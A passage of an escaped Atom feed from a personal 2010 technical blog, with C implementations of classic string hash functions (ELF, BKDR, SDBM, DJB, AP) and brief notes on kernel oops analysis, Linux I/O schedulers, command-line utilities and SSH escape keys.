OneEighth);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash             = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; test             = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;= (hash &amp;lt;&amp;lt; OneEighth) + (*str++);&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;   		&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;br/&gt;((test = hash &amp;amp; HighBits) != 0)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;    {&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;     			hash&lt;br/&gt;= ((hash ^ (test &amp;gt;&amp;gt; ThreeQuarters)) &amp;amp; (~HighBits));&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;ELF Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; ELFHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt;&lt;br/&gt;*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; x    = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;= (hash &amp;lt;&amp;lt; 4) + (*str++);&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;   		&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;br/&gt;((x = hash &amp;amp; 0xF0000000L) != 0)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;     			hash&lt;br/&gt;^= (x &amp;gt;&amp;gt; 24);&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;     			hash&lt;br/&gt;&amp;amp;= ~x;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;BKDR Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; BKDRHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt;&lt;br/&gt;*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; seed = 131; &lt;font color="#008000"&gt;//&lt;br/&gt;31 131 1313 13131 131313 etc..&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;= hash * seed + (*str++);&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;SDBM Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; SDBMHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt;&lt;br/&gt;*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;= (*str++) + (hash &amp;lt;&amp;lt; 6) + (hash &amp;lt;&amp;lt; 16) - hash;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;DJB Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; DJBHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt;&lt;br/&gt;*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 5381;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;br/&gt;(*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		hash&lt;br/&gt;+= (hash &amp;lt;&amp;lt; 5) + (*str++);&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font color="#008000"&gt;&lt;font face="Courier New, monospace"&gt;//&lt;br/&gt;AP Hash Function&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; APHash(&lt;font color="#0000ff"&gt;char&lt;/font&gt;&lt;br/&gt;*str)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;unsigned&lt;/font&gt;&lt;br/&gt;&lt;font color="#0000ff"&gt;int&lt;/font&gt; hash = 0;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;int&lt;/font&gt;&lt;br/&gt;i;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;for&lt;/font&gt;&lt;br/&gt;(i=0; *str; i++)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;   		&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;br/&gt;((i &amp;amp; 1) == 0)&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;     			hash&lt;br/&gt;^= ((hash &amp;lt;&amp;lt; 7) ^ (*str++) ^ (hash &amp;gt;&amp;gt; 3));&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt;   		&lt;font color="#0000ff"&gt;else&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		{&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;     			hash&lt;br/&gt;^= (~((hash &amp;lt;&amp;lt; 11) ^ (*str++) ^ (hash &amp;gt;&amp;gt; 5)));&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;   		}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt; 	}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Arial, serif"&gt;&lt;font face="Courier New, monospace"&gt; 	&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;br/&gt;(hash &amp;amp; 0x7FFFFFFF);&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;line-height:.42cm;"&gt;&lt;font face="Courier New, monospace"&gt;}&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-top:0;margin-bottom:0;"&gt;&lt;br/&gt;&lt;/p&gt; &lt;br /&gt; &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-5160430963817733533?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/5160430963817733533/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=5160430963817733533' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5160430963817733533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5160430963817733533'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/08/hash.html' title='Hash'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-838485465539619976</id><published>2010-07-29T16:56:00.000+08:00</published><updated>2010-09-30T10:40:27.953+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>linux kernel crash analyze</title><content type='html'>ksymoops -m System.map &amp;lt; oops.txt&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-838485465539619976?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/838485465539619976/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=838485465539619976' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/838485465539619976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/838485465539619976'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/07/linux-kernel-crash-analyze.html' title='linux kernel crash analyze'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-2934962276936263383</id><published>2010-07-26T06:31:00.000+08:00</published><updated>2010-09-30T10:40:27.942+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>debug linux kernel with Eclipse</title><content type='html'>&lt;span style="font-family:Tahoma;"&gt;http://issaris.blogspot.com/2007/12/download-linux-kernel-sourcecode-from.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-2934962276936263383?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/2934962276936263383/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=2934962276936263383' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2934962276936263383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2934962276936263383'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/07/debug-linux-kernel-with-eclipse.html' title='debug linux kernel with Eclipse'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-2201072151167208312</id><published>2010-07-09T00:33:00.000+08:00</published><updated>2010-09-30T10:40:27.932+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Linux的I/O调度</title><content type='html'>&lt;div&gt;1. 电梯调度算法：io请求按块号排序放在一个普通队列。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;2. Deadline算法：电梯调度算法，并增加了读FIFO队列与写FIFO队列。先按普通队列处理，若超时，再按FIFO队列进行处理。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;3. Anticipatory算法：Deadline算法，并增加预测机制（6毫秒）。&lt;/div&gt;&lt;br/&gt;&lt;div&gt;4. CFQ（公平调度）算法：每个进程有自己的io请求队列，每个队列分配一个时间片。若超时，就处理下一个进程的队列。否则处理当前队列直至为空，之后空转10ms，看是否有新的请求。若无，则处理下一进程。此算法适合高负载的情况。&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-2201072151167208312?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/2201072151167208312/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=2201072151167208312' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2201072151167208312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2201072151167208312'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/07/linuxio.html' title='Linux的I/O调度'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6092393183002122728</id><published>2010-06-20T23:13:00.000+08:00</published><updated>2010-09-30T10:40:27.911+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>useful tools</title><content type='html'>lxzrz: Communication package providing the X, Y, and ZMODEM file transfer protocols&lt;div&gt;       http://www.ohse.de/uwe/software/lrzsz.html&lt;/div&gt;&lt;div&gt;kibitz: similar to multi-user mode of screen&lt;/div&gt;&lt;div&gt;       http://expect.nist.gov/  &lt;/div&gt;&lt;div&gt;       http://nails.blog.51cto.com/640492/138028&lt;/div&gt;&lt;div&gt;dstat: Dstat is a versatile replacement for vmstat, iostat and ifstat&lt;/div&gt;&lt;div&gt;       http://dag.wieers.com/home-made/dstat/&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6092393183002122728?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6092393183002122728/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6092393183002122728' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6092393183002122728'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6092393183002122728'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/06/useful-tools.html' title='useful tools'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-7432999694428944077</id><published>2010-06-18T18:12:00.000+08:00</published><updated>2010-09-30T10:40:27.897+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>switch server under ssh</title><content type='html'>input &amp;quot;~&amp;quot; and Ctrl+Z to go back&lt;br /&gt;use fg to go to &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-7432999694428944077?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 